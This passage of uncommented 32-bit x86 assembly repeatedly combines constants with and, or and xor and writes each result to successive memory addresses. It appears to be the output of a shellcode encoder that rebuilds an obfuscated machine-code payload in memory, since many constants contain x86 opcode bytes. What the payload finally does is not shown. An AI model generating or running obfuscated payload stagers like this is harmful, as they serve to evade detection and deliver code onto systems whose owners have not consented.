add ebx, edx
and eax, 0x5b640043
and eax, 0x10240001
or eax, 0x58e44c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x197d4bc5
xor eax, 0x4edca594
and eax, 0x3d00008
or eax, 0x8005583
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4365c31
xor eax, 0x4a00e2ae
and eax, 0x64c814
or eax, 0x8111041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55ade235
or eax, 0x250428d9
and eax, 0x39d80089
or eax, 0x2204502
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6fcc18b0
or eax, 0x401ca5d7
and eax, 0x503cdc45
or eax, 0xb410000
mov dword [ebx], eax
add ebx, edx
or eax, 0x18825db8
or eax, 0x65af03ad
and eax, 0x3bb44d89
or eax, 2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23efc614
and eax, 0x58800d
or eax, 0x42246040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45117614
or eax, 0x6f718993
and eax, 0x378158b
or eax, 0x80804000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fd843f5
or eax, 0x48688794
and eax, 0x458801ea
or eax, 0x10010000
mov dword [ebx], eax
add ebx, edx
or eax, 0x20371bd0
or eax, 0xc66f84c
and eax, 0x78458bf8
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x59720b7a
and eax, 0xf9048188
or eax, 0x4800401
mov dword [ebx], eax
add ebx, edx
or eax, 0x2fb662d9
xor eax, 0x23cf1576
and eax, 0x4c09f2af
or eax, 0x1820d50
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c2ca33b
and eax, 0x8d89ec
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x246d365c
and eax, 0x80e0bfb0
or eax, 0xb1f404d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e34cb93
or eax, 0xb886bcb
and eax, 0xaa836c45
or eax, 0x40008010
mov dword [ebx], eax
add ebx, edx
and eax, 0x75559324
and eax, 0x60018000
or eax, 0x8c540901
mov dword [ebx], eax
add ebx, edx
and eax, 0x704a7f22
and eax, 0x2c58c9ab
and eax, 0x20000100
or eax, 0xdd84848b
mov dword [ebx], eax
add ebx, edx
or eax, 0x302ffa95
and eax, 0x852bff9f
or eax, 0x100060
mov dword [ebx], eax
add ebx, edx
and eax, 0x680dd898
and eax, 0x1b94cd36
and eax, 0xc800
or eax, 0xffff3580
mov dword [ebx], eax
add ebx, edx
and eax, 0x30acd8fa
and eax, 0x881000
or eax, 0x4d03007c
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e6b349c
and eax, 0x30863e81
and eax, 0x10003080
or eax, 0xcc4d0b64
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c63de01
and eax, 0x44010800
or eax, 0x118a007c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29e8b91d
or eax, 0x53a42104
and eax, 0x40453124
or eax, 0x80100a98
mov dword [ebx], eax
add ebx, edx
or eax, 0x5345fb62
and eax, 0x4101117c
or eax, 0x48a0001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7495105
and eax, 0x400068
or eax, 0xb8053b84
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29c915d1
and eax, 0x7e2bbaa5
and eax, 0x80825
or eax, 0x4d830158
mov dword [ebx], eax
add ebx, edx
xor eax, 0x686cc582
and eax, 0x1e180f8
or eax, 0x80300
mov dword [ebx], eax
add ebx, edx
and eax, 0x43372fcc
and eax, 0x29489fab
and eax, 0x1000188
or eax, 0x8af84c01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27425655
xor eax, 0x626aeaab
and eax, 0xca80e055
or eax, 0x20030000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75bef1a5
and eax, 0x80150100
or eax, 0x60408801
mov dword [ebx], eax
add ebx, edx
xor eax, 0xff8f080
and eax, 0x83a84181
or eax, 0x50040a
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f488e4f
and eax, 0x458801c0
or eax, 0x10000
mov dword [ebx], eax
add ebx, edx
or eax, 0x53d9f708
xor eax, 0x30d901e8
and eax, 0x40008220
or eax, 0x884d09d8
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ab1f231
and eax, 0x8018000
or eax, 0x81006983
mov dword [ebx], eax
add ebx, edx
and eax, 0x31f508d4
or eax, 0x6f87a492
and eax, 0x45838800
or eax, 0x1008404d
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ae8182c
and eax, 0x4000080c
or eax, 0x885533d0
mov dword [ebx], eax
add ebx, edx
and eax, 0x217d18e5
and eax, 0x140804
or eax, 0xa8850b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6636792
xor eax, 0x7b78c123
and eax, 0x45830000
or eax, 0x80000
mov dword [ebx], eax
add ebx, edx
and eax, 0x71653e35
and eax, 0x3ab611f4
and eax, 0
or eax, 0x1e883d8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fd6aa2e
and eax, 0xa180180
or eax, 0x81c04409
mov dword [ebx], eax
add ebx, edx
or eax, 0x282c8114
and eax, 0x938c00d
or eax, 0x44032040
mov dword [ebx], eax
add ebx, edx
or eax, 0x5baf3fe8
and eax, 0xb087dc8
or eax, 0x80000010
mov dword [ebx], eax
add ebx, edx
and eax, 0x7cf4a30e
xor eax, 0x5a4212d
and eax, 0x5200005
or eax, 0x501bb850
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d148584
and eax, 0x20d5182e
and eax, 0x1804
or eax, 0x8b2064b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f98b9e
and eax, 0x4976930d
and eax, 0x1008000
or eax, 0x442b6845
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f35a206
and eax, 0x1002004
or eax, 0x8a1855f0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6743222a
and eax, 0x4c13444c
or eax, 0x120a001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f43ee77
and eax, 0x2000a38
or eax, 0x8d8405c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x415c4d2b
or eax, 0x26979c2b
and eax, 0x8a000000
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x45a44101
and eax, 0x45204001
or eax, 0x101b8854
mov dword [ebx], eax
add ebx, edx
or eax, 0x6793c8e
xor eax, 0xedfffc1
and eax, 0x184030c
or eax, 0x82090ce0
mov dword [ebx], eax
add ebx, edx
or eax, 0x41173dd3
and eax, 0x2de2695a
and eax, 0x1000000
or eax, 0x8a000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7958fc48
or eax, 0x4801a0cc
and eax, 0x4101a044
or eax, 0x42a4801
mov dword [ebx], eax
add ebx, edx
xor eax, 0xaf53cb
and eax, 0x1003088
or eax, 0x8a7b4430
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f41131e
or eax, 0x15dcc736
and eax, 0x4d3bc00c
or eax, 0x41
mov dword [ebx], eax
add ebx, edx
or eax, 0xd54834f
and eax, 0x939404c
or eax, 0x82003c90
mov dword [ebx], eax
add ebx, edx
and eax, 0x327d765e
xor eax, 0x21d2e856
and eax, 0x1238800
or eax, 0x54104055
mov dword [ebx], eax
add ebx, edx
and eax, 0x74f30f79
or eax, 0x7d6d4660
and eax, 0x9314470
or eax, 0x8200318c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d6df6b9
and eax, 0x84088045
or eax, 0x1813400
mov dword [ebx], eax
add ebx, edx
and eax, 0x19f8dede
and eax, 0x7336640d
and eax, 0x1000404
or eax, 0xfefff978
mov dword [ebx], eax
add ebx, edx
xor eax, 0x559a5c87
xor eax, 0x42751e5b
and eax, 0x88100d80
or eax, 0x1c0400b
mov dword [ebx], eax
add ebx, edx
or eax, 0x62aa6985
and eax, 0x62e66eed
and eax, 0x62e0688d
or eax, 0x9d1d1000
mov dword [ebx], eax
add ebx, edx
or eax, 0xc8c91e4
and eax, 0xb45589ed
or eax, 0x212
mov dword [ebx], eax
add ebx, edx
and eax, 0x3672fb36
xor eax, 0x192ff150
and eax, 0x9014202
or eax, 0x80008081
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e43d74c
and eax, 0x85021445
or eax, 0x89a010
mov dword [ebx], eax
add ebx, edx
and eax, 0x62666ec
or eax, 0x5fc15ddf
and eax, 0x5fc37d5c
or eax, 0xa03c8020
mov dword [ebx], eax
add ebx, edx
and eax, 0x54eaa579
and eax, 0x54688538
or eax, 0xa9100003
mov dword [ebx], eax
add ebx, edx
and eax, 0xe68b82c
xor eax, 0x4726f674
and eax, 0x84c765c
or eax, 0x3089a3
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37086365
and eax, 0x3b700c8a
or eax, 0x884101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a7fcfe8
and eax, 0x58041
or eax, 0x3a782c0c
mov dword [ebx], eax
add ebx, edx
or eax, 0x11b4b4f6
and eax, 0x3c0148b
or eax, 0x4100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e2dff70
and eax, 0x1589a851
or eax, 0x80004004
mov dword [ebx], eax
add ebx, edx
and eax, 0x25d3a405
or eax, 0x6801a6fb
and eax, 0x6d81a474
or eax, 0x927e5900
mov dword [ebx], eax
add ebx, edx
or eax, 0x2903fcc5
and eax, 0x83e84581
or eax, 0xa
mov dword [ebx], eax
add ebx, edx
xor eax, 0x723c4400
or eax, 0x6bf27f21
and eax, 0x418001a8
or eax, 0x4090040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3052e2e0
and eax, 0x20d6bc4
and eax, 0x90300
or eax, 0x74b480e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7117005f
and eax, 0x71885b6e
and eax, 0x880324
or eax, 0x77fcd9
mov dword [ebx], eax
add ebx, edx
or eax, 0x11f65d30
and eax, 0x485f7998
and eax, 0xb1810
or eax, 0x4d800464
mov dword [ebx], eax
add ebx, edx
or eax, 0x4540a971
and eax, 0xa21a438
and eax, 0x8010410
or eax, 0x45ae0bc0
mov dword [ebx], eax
add ebx, edx
and eax, 0x55301361
and eax, 0x44000140
or eax, 0x30c984a4
mov dword [ebx], eax
add ebx, edx
or eax, 0x388715b8
and eax, 0x6c458110
or eax, 0x80100a01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68b6b080
and eax, 0x7cdd7168
and eax, 0x4801100
or eax, 0x792c443b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6837c9c5
and eax, 0x3e24ef2b
and eax, 0x10008808
or eax, 0xe8450301
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d266aff
xor eax, 0x57361201
and eax, 0x8801e882
or eax, 0x1000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f3bb92a
xor eax, 0x70d97b18
and eax, 0x4d828001
or eax, 0x97844
mov dword [ebx], eax
add ebx, edx
and eax, 0x4757df3a
xor eax, 0xd338d07
and eax, 0x48001104
or eax, 0xa04d2ad0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6cd51a1e
and eax, 0x14be4af8
and eax, 0x4800048
or eax, 0x81470c35
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34a8c346
and eax, 0xb16fcf38
or eax, 0x4e903004
mov dword [ebx], eax
add ebx, edx
or eax, 0x34f4803c
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x38d3860
xor eax, 0x444d5fda
and eax, 0x5c002ab
or eax, 0x80070840
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a53a346
or eax, 0x5ce0dfa0
and eax, 0xdff7ff2c
or eax, 0x20080010
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ed1f8d5
xor eax, eax
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d04aa88
xor eax, 0xec2ee95
and eax, 0x3c04409
or eax, 0x8101182
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ba6636f
and eax, 0x70763484
or eax, 0x8f890811
mov dword [ebx], eax
add ebx, edx
or eax, 0x112832d3
and eax, 0x8b1b34d7
or eax, 0x4028
mov dword [ebx], eax
add ebx, edx
and eax, 0x79c621d
and eax, 0x2dda3a0c
and eax, 0x1080004
or eax, 0xae07d841
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b28e5d9
and eax, 0x7234bde2
and eax, 0x8040
or eax, 0xc0856005
mov dword [ebx], eax
add ebx, edx
and eax, 0x14b6bec7
and eax, 0x645549e9
and eax, 0x40
or eax, 0x4d8b1034
mov dword [ebx], eax
add ebx, edx
and eax, 0x51242818
and eax, 0x40000010
or eax, 0xbc4d3bac
mov dword [ebx], eax
add ebx, edx
and eax, 0x19d959e5
and eax, 0x10090824
or eax, 0x45820059
mov dword [ebx], eax
add ebx, edx
or eax, 0x2eb7e6b4
and eax, 0x781522b4
or eax, 0x80400100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42ed9d92
and eax, 0x880824
or eax, 0x45030051
mov dword [ebx], eax
add ebx, edx
or eax, 0x79da636b
and eax, 0x40412b68
or eax, 0x80041080
mov dword [ebx], eax
add ebx, edx
or eax, 0x7de7758f
xor eax, 0x60ce4449
and eax, 0xd092a24
or eax, 0x40820059
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1df49229
xor eax, 0x226c79fb
and eax, 0x6001018c
or eax, 0x884c3a50
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27eeddc7
and eax, 0x45830018
or eax, 0x10081964
mov dword [ebx], eax
add ebx, edx
and eax, 0x21c5efc
or eax, 0x77cec45d
and eax, 0x74441838
or eax, 0x88112380
mov dword [ebx], eax
add ebx, edx
or eax, 0x3728238d
and eax, 0x4509113c
or eax, 0x820040
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d66cba3
and eax, 0x1000120
or eax, 0xe882c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x232cfadd
xor eax, 0x35659760
and eax, 0x2804489
or eax, 0x89600100
mov dword [ebx], eax
add ebx, edx
or eax, 0x28765857
xor eax, 0x29c01102
and eax, 0x32484d
or eax, 0x4d098000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a925901
xor eax, 0xa3736bf
and eax, 0x1086de0
or eax, 0x8a011000
mov dword [ebx], eax
add ebx, edx
and eax, 0x21358a0d
and eax, 0x10800
or eax, 0xea82e055
mov dword [ebx], eax
add ebx, edx
or eax, 0x12de4fa1
and eax, 0x6d3bc600
and eax, 0x68118000
or eax, 0x80440901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64f71980
and eax, 0x70d45e87
and eax, 0x800081
or eax, 0x3b50450a
mov dword [ebx], eax
add ebx, edx
or eax, 0x63b149f8
and eax, 0x28704441
or eax, 0x40ca004
mov dword [ebx], eax
add ebx, edx
and eax, 0x5dcc98cc
and eax, 0x400000
or eax, 0x83a04d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27980e05
xor eax, 0x153fb2dc
and eax, 0x1010140
or eax, 0x4c880081
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4df344b2
or eax, 0x3e4a704a
and eax, 0x20500160
or eax, 0xc0058a80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c03e63e
and eax, 0x3c44451a
or eax, 0x41a81021
mov dword [ebx], eax
add ebx, edx
and eax, 0x218ed127
or eax, 0xf6e0a2f
and eax, 0x28440b08
or eax, 0xd0018000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5aec2a5f
and eax, 0x8b880e7
and eax, 0x8a80003
or eax, 0x74544538
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a30c806
and eax, 0x8000002
or eax, 0xa44d8b11
mov dword [ebx], eax
add ebx, edx
and eax, 0x4071e359
and eax, 0x400111
or eax, 0x7ca84c2a
mov dword [ebx], eax
add ebx, edx
and eax, 0x228bc477
and eax, 0xcabe70e
and eax, 2
or eax, 0xc8558b09
mov dword [ebx], eax
add ebx, edx
and eax, 0x1aabeedd
and eax, 0x8000009
or eax, 0x33b45522
mov dword [ebx], eax
add ebx, edx
and eax, 0x20cda8dc
and eax, 0x40000
or eax, 0x979bc55
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4585db08
and eax, 0xf84509
or eax, 0x83000082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x468b7923
and eax, 0x450100a8
or eax, 0x880140
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ce9ba5
and eax, 0xec48d41
and eax, 0x100
or eax, 0xe04d8af8
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b810851
and eax, 0x10000
or eax, 0x8900c183
mov dword [ebx], eax
add ebx, edx
or eax, 0x43e58e97
or eax, 0x62c10630
and eax, 0x4181c005
or eax, 0x140a2048
mov dword [ebx], eax
add ebx, edx
xor eax, 0xca7db9c
or eax, 0x1601580b
and eax, 0x12803d0
or eax, 0xc28004
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a3a94fc
and eax, 0x80
or eax, 0xe9d45509
mov dword [ebx], eax
add ebx, edx
or eax, 0xe533a1b
xor eax, 0x68f30304
and eax, 0x87247c92
or eax, 0x78db8020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77ebb551
and eax, 0x144183
or eax, 0x5e00408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a55676c
xor eax, 0x6bccfc07
and eax, 0xc200
or eax, 0xa
mov dword [ebx], eax
add ebx, edx
and eax, 0xb8a09ed
and eax, 8
or eax, 0x8bf44581
mov dword [ebx], eax
add ebx, edx
or eax, 0x1284eb1f
and eax, 0x900c40d
or eax, 0x44031040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3472146
and eax, 0xfc59d43
and eax, 0x4448100
or eax, 0xd00908f4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38372dc2
and eax, 0x440a0022
or eax, 0x118109c9
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7df15e6d
and eax, 0x420384
or eax, 0x1808050
mov dword [ebx], eax
add ebx, edx
or eax, 0x24087c79
and eax, 0x1c05589
or eax, 0x8a140000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5742fa82
xor eax, 0x1aca900c
and eax, 0x45184405
or eax, 0x239040
mov dword [ebx], eax
add ebx, edx
or eax, 0x54120d41
and eax, 0x5090d44
or eax, 0x88840288
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ab314b
or eax, 0x94d05a7
and eax, 0x8b000001
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x230d7635
and eax, 0xa8012404
or eax, 0x41828849
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f441c12
and eax, 0x8000800
or eax, 0xa44d8101
mov dword [ebx], eax
add ebx, edx
or eax, 0x36e97624
and eax, 0x82ac5501
or eax, 0x110008a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1df766df
xor eax, 0x2d820f9d
and eax, 0x118900c0
or eax, 0x44000102
mov dword [ebx], eax
add ebx, edx
and eax, 0xea69910
and eax, 0x100
or eax, 0xd8458abc
mov dword [ebx], eax
add ebx, edx
or eax, 0x1504f7e1
or eax, 0x3bf82ddd
and eax, 0x8901c081
or eax, 2
mov dword [ebx], eax
add ebx, edx
or eax, 0x29f56ae0
and eax, 0x981c841
or eax, 0x440a1004
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fe51438
and eax, 0x50a6f029
and eax, 0xa08028
or eax, 0x14903c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33000b31
and eax, 0x2e80889
or eax, 0x89044500
mov dword [ebx], eax
add ebx, edx
or eax, 0x28b50a69
or eax, 0xa700241
and eax, 0x1394841
or eax, 0x5402b014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x40a4d38d
and eax, 0x10b28c0
or eax, 0x8a005400
mov dword [ebx], eax
add ebx, edx
or eax, 0x53c1f2b4
xor eax, 0x25c97f0d
and eax, 0xae028041
or eax, 0x10d7004
mov dword [ebx], eax
add ebx, edx
and eax, 0x44364108
and eax, 0x67a16d83
and eax, 0x4000
or eax, 0xc0858845
mov dword [ebx], eax
add ebx, edx
and eax, 0x1386a5e4
and eax, 0x800044
or eax, 0x4d0b0930
mov dword [ebx], eax
add ebx, edx
xor eax, 0x705e42ac
and eax, 0x490537d0
and eax, 0x10103c0
or eax, 0xc08020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c176dcd
or eax, 0x11b7fc49
and eax, 0x9e04c09
or eax, 0x82000180
mov dword [ebx], eax
add ebx, edx
or eax, 0x74fc8c7f
and eax, 0x9588cc55
or eax, 0x11000
mov dword [ebx], eax
add ebx, edx
and eax, 0x775ee37e
xor eax, 0x6f23be6d
and eax, 0x7a2b7c30
or eax, 0x85d48140
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a055653
xor eax, 0x586bf03
and eax, 0x80480400
or eax, 0x980418b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ec7d017
and eax, 0xb70d0484
or eax, 0x48f06801
mov dword [ebx], eax
add ebx, edx
or eax, 0x60f85911
and eax, 0xdc4d0995
or eax, 0x826a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a634fe2
and eax, 0x8010982
or eax, 0x8100e001
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ba16059
and eax, 0x1014001
or eax, 0x948a9c4c
mov dword [ebx], eax
add ebx, edx
or eax, 0x73c61d93
and eax, 0xf7cfdd50
or eax, 0x8302020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73ddd886
and eax, 0x8c200532
or eax, 0x714c9009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x406f3078
or eax, 0x40eb6a70
and eax, 0x3568ef73
or eax, 0x14108c
mov dword [ebx], eax
add ebx, edx
or eax, 0x56f27917
and eax, 0x3b0458b
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5de41ff3
and eax, 0x44000068
or eax, 0x1890180
mov dword [ebx], eax
add ebx, edx
and eax, 0x88e7a84
and eax, 0x1367aab5
and eax, 0x80
or eax, 0xe04d8b30
mov dword [ebx], eax
add ebx, edx
xor eax, 0x780b8623
and eax, 0x88000183
or eax, 0x101c000
mov dword [ebx], eax
add ebx, edx
or eax, 0x37090d2f
and eax, 0x1509c00d
or eax, 0x40822040
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e8dc4ba
and eax, 0x10000
or eax, 0xe0543bb0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26899a4f
xor eax, 0x1040de9
and eax, 0x45880814
or eax, 0x30069
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2dc58e9e
and eax, 0x672b47c0
and eax, 0x600002c0
or eax, 0x8845393c
mov dword [ebx], eax
add ebx, edx
and eax, 0x21450c64
and eax, 0x10064
or eax, 0x4d8a1318
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b380806
and eax, 0x42c45f9c
and eax, 0x310
or eax, 0xc44d00a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a57111c
and eax, 0x7f1ac8b7
and eax, 0x40000010
or eax, 0x3cf04d2b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a388ac4
xor eax, 0x691bb60b
and eax, 0x8510100
or eax, 0xd0048a08
mov dword [ebx], eax
add ebx, edx
and eax, 0x622ef27
and eax, 0x100
or eax, 0x7de4543b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b38317d
xor eax, 0x1a4c90c8
and eax, 0x30008008
or eax, 0x80450b01
mov dword [ebx], eax
add ebx, edx
or eax, 0x7fe4b4f3
and eax, 0x89018083
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7adc17ba
or eax, 0x7f8618b5
and eax, 0x4d821005
or eax, 0x9a040
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d238a2f
or eax, 0x25c03a65
and eax, 0x60493a64
or eax, 0x80040180
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bc374e2
and eax, 0x40101758
and eax, 0x40000740
or eax, 0x158b283d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7471896b
and eax, 0x502214
or eax, 0xc40509e8
mov dword [ebx], eax
add ebx, edx
or eax, 0x547a9bed
or eax, 0x4833f8cc
and eax, 0xdc689189
or eax, 0x21000400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x546a550f
and eax, 0x4912e16d
and eax, 0x102c004
or eax, 0x44893ffb
mov dword [ebx], eax
add ebx, edx
and eax, 0x430f7634
and eax, 0x24e71dd3
and eax, 0x10
or eax, 0x1c083ec
mov dword [ebx], eax
add ebx, edx
or eax, 0x223b52a0
or eax, 0x174aaee
and eax, 0x3fc4188
or eax, 0x80000401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b7d7640
and eax, 0x98812089
or eax, 0x677c4834
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a43257b
xor eax, 0x5f070433
and eax, 0x1144000a
or eax, 0x3000f5
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b76595a
and eax, 0x503c7384
and eax, 0x244180
or eax, 0x83c80c0b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c5e502a
and eax, 0x4d800181
or eax, 0x90040
mov dword [ebx], eax
add ebx, edx
or eax, 0x435bc4dd
and eax, 0x4c5181cc
or eax, 0xa0040a20
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fcb6628
and eax, 0x24000020
or eax, 0x51bc5503
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1efd9f0c
and eax, 0x60418a22
or eax, 0x94040110
mov dword [ebx], eax
add ebx, edx
and eax, 0x77c076a5
and eax, 0
or eax, 0x8901c083
mov dword [ebx], eax
add ebx, edx
and eax, 0x1565ecae
and eax, 0x2da6a3d6
and eax, 0x1008000
or eax, 0x4c8b7445
mov dword [ebx], eax
add ebx, edx
or eax, 0x4153c109
and eax, 0xfd19ad3
and eax, 0x4818040
or eax, 0x600c09b4
mov dword [ebx], eax
add ebx, edx
or eax, 0x6650308a
xor eax, 0x1c91a59b
and eax, 0xa4c1c65
or eax, 0x81b3e398
mov dword [ebx], eax
add ebx, edx
and eax, 0x49324f1c
or eax, 0x3c7c4755
and eax, 0x15084055
or eax, 0x8081b000
mov dword [ebx], eax
add ebx, edx
or eax, 0x31090f1d
and eax, 0x394a310
and eax, 0x180a100
or eax, 0xfe7f5c60
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a52af99
or eax, 0x76328212
and eax, 0x83f0458b
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x22916771
xor eax, 0x4480409a
and eax, 0x45010160
or eax, 0x880088
mov dword [ebx], eax
add ebx, edx
or eax, 0x492e6be7
and eax, 0x448d0be0
or eax, 0x20008010
mov dword [ebx], eax
add ebx, edx
and eax, 0x3888c58a
or eax, 0x24b67a28
and eax, 0x20befba8
or eax, 0x1b410455
mov dword [ebx], eax
add ebx, edx
and eax, 0x350c19a
and eax, 0x44887f04
and eax, 0x4000
or eax, 0xfffd208d
mov dword [ebx], eax
add ebx, edx
or eax, 0x540a3711
and eax, 0x5520008a
and eax, 0x1000088
or eax, 0x8a467d77
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b1eec8d
and eax, 0x348681d8
and eax, 0x20000
or eax, 0xc281e455
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42edb16f
and eax, 0x7a31747
and eax, 0x100
or eax, 0xe4558801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e7b2471
xor eax, 0x8338985
and eax, 0x12040481
or eax, 0x29e0410a
mov dword [ebx], eax
add ebx, edx
and eax, 0x619cdd0a
and eax, 0x20044000
or eax, 0xc78a845
mov dword [ebx], eax
add ebx, edx
and eax, 0x733afb1
and eax, 0x100801
or eax, 0x3c0458a
mov dword [ebx], eax
add ebx, edx
and eax, 0x43be8c28
and eax, 0x1100c08
or eax, 0x4c2be045
mov dword [ebx], eax
add ebx, edx
and eax, 0x3fbf9463
and eax, 0x9190440
or eax, 0x820079a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4334cbdf
and eax, 0xc801b015
or eax, 0x22824040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d5f1a8c
xor eax, 0x6346a96
and eax, 0xa0408001
or eax, 0x50150900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6773132
and eax, 0x32200003
or eax, 0x9904588
mov dword [ebx], eax
add ebx, edx
and eax, 0x17c5f279
and eax, 0x4001
or eax, 0x87db044
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c685688
and eax, 0x18584489
or eax, 0x23800902
mov dword [ebx], eax
add ebx, edx
and eax, 0xf7dee8f
and eax, 0x8584009
or eax, 0x248044
mov dword [ebx], eax
add ebx, edx
and eax, 0x534ed4a5
and eax, 0x24348546
and eax, 0
or eax, 0x33c8558b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x246123bc
xor eax, 0x511577ba
and eax, 0x340005
or eax, 0x940dc50
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e5ee482
and eax, 0x5cf6d003
and eax, 0x544000
or eax, 0x8388058b
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a7a6dd
and eax, 0x1800088
or eax, 0x44090160
mov dword [ebx], eax
add ebx, edx
and eax, 0xbbe53d5
xor eax, 0x252b4900
and eax, 0x200108c0
or eax, 0xc84c831c
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c5a1525
xor eax, 0x1fd2da91
and eax, 0x60844528
or eax, 0x1c300813
mov dword [ebx], eax
add ebx, edx
or eax, 0x301f5b2d
and eax, 0x64150b21
or eax, 0x80408000
mov dword [ebx], eax
add ebx, edx
or eax, 0xf3dc8c2
or eax, 0x86fe54e
and eax, 0x2b504503
or eax, 0x10801000
mov dword [ebx], eax
add ebx, edx
and eax, 0x14fb64d1
and eax, 0x10504001
or eax, 0x62cb854
mov dword [ebx], eax
add ebx, edx
